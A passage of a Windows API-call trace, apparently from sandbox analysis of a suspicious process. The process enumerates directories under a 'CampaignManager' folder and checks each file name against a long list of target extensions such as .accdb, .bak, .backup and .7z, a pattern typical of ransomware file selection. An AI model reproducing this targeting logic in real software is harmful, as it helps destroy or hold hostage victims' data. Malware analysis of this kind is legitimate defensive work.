	[0177.859] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".geo") returned 4
	[0177.859] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".gif") returned 4
	[0177.859] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".grs") returned 4
	[0177.859] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".gz") returned 3
	[0177.859] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0177.859] lstrlenW (lpString=".h") returned 2
	[0177.860] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0177.860] lstrlenW (lpString=".hdr") returned 4
	[0177.860] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0177.860] lstrlenW (lpString=".hpp") returned 4
	[0177.860] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0177.860] lstrlenW (lpString=".hta") returned 4
	[0177.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.861] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0177.861] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 100
	[0177.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.864] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0177.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.867] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0177.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.869] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0177.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.872] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0177.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.874] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0177.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.877] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0177.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0177.879] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0178.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.282] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0178.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.287] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0178.291] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.291] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0178.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.297] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0178.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.301] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0178.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.305] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0178.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.310] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0178.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.314] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0178.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.318] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0178.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.680] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0178.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.683] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0178.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.685] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0178.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.687] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0178.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.720] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0178.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.723] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0178.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.727] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0178.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.731] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0178.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.736] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0178.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.740] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0178.745] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0178.745] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0178.745] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0178.745] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0178.745] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0178.745] lstrlenW (lpString="Detector_131491847713900000.xml") returned 31
	[0178.745] lstrlenW (lpString=".1cd") returned 4
	[0178.745] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0178.745] lstrlenW (lpString=".3ds") returned 4
	[0178.745] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0178.745] lstrlenW (lpString=".3fr") returned 4
	[0178.745] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0178.745] lstrlenW (lpString=".3g2") returned 4
	[0178.745] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0178.745] lstrlenW (lpString=".3gp") returned 4
	[0178.745] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0178.745] lstrlenW (lpString=".7z") returned 3
	[0178.745] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0178.746] lstrlenW (lpString=".accda") returned 6
	[0178.746] lstrcmpiW (lpString1=".accda", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".accdb") returned 6
	[0178.746] lstrcmpiW (lpString1=".accdb", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".accdc") returned 6
	[0178.746] lstrcmpiW (lpString1=".accdc", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".accde") returned 6
	[0178.746] lstrcmpiW (lpString1=".accde", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".accdt") returned 6
	[0178.746] lstrcmpiW (lpString1=".accdt", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".accdw") returned 6
	[0178.746] lstrcmpiW (lpString1=".accdw", lpString2="00.xml") returned -1
	[0178.746] lstrlenW (lpString=".adb") returned 4
	[0178.746] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0178.746] lstrlenW (lpString=".adp") returned 4
	[0178.746] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0178.746] lstrlenW (lpString=".ai") returned 3
	[0178.746] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0178.746] lstrlenW (lpString=".ai3") returned 4
	[0178.746] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0178.746] lstrlenW (lpString=".ai4") returned 4
	[0178.746] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0178.746] lstrlenW (lpString=".ai5") returned 4
	[0178.746] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0178.746] lstrlenW (lpString=".ai6") returned 4
	[0178.747] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".ai7") returned 4
	[0178.747] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".ai8") returned 4
	[0178.747] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".anim") returned 5
	[0178.747] lstrcmpiW (lpString1=".anim", lpString2="0.xml") returned -1
	[0178.747] lstrlenW (lpString=".arw") returned 4
	[0178.747] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".as") returned 3
	[0178.747] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0178.747] lstrlenW (lpString=".asa") returned 4
	[0178.747] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".asc") returned 4
	[0178.747] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".ascx") returned 5
	[0178.747] lstrcmpiW (lpString1=".ascx", lpString2="0.xml") returned -1
	[0178.747] lstrlenW (lpString=".asm") returned 4
	[0178.747] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".asmx") returned 5
	[0178.747] lstrcmpiW (lpString1=".asmx", lpString2="0.xml") returned -1
	[0178.747] lstrlenW (lpString=".asp") returned 4
	[0178.747] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0178.747] lstrlenW (lpString=".aspx") returned 5
	[0178.748] lstrcmpiW (lpString1=".aspx", lpString2="0.xml") returned -1
	[0178.748] lstrlenW (lpString=".asr") returned 4
	[0178.748] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".asx") returned 4
	[0178.748] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".avi") returned 4
	[0178.748] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".avs") returned 4
	[0178.748] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".backup") returned 7
	[0178.748] lstrcmpiW (lpString1=".backup", lpString2="000.xml") returned -1
	[0178.748] lstrlenW (lpString=".bak") returned 4
	[0178.748] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".bay") returned 4
	[0178.748] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".bd") returned 3
	[0178.748] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0178.748] lstrlenW (lpString=".bin") returned 4
	[0178.748] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0178.748] lstrlenW (lpString=".bmp") returned 4
	[0178.749] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".bz2") returned 4
	[0178.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".c") returned 2
	[0178.749] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0178.749] lstrlenW (lpString=".cdr") returned 4
	[0178.749] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".cer") returned 4
	[0178.749] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".cf") returned 3
	[0178.749] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0178.749] lstrlenW (lpString=".cfc") returned 4
	[0178.749] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".cfm") returned 4
	[0178.749] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".cfml") returned 5
	[0178.749] lstrcmpiW (lpString1=".cfml", lpString2="0.xml") returned -1
	[0178.749] lstrlenW (lpString=".cfu") returned 4
	[0178.749] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
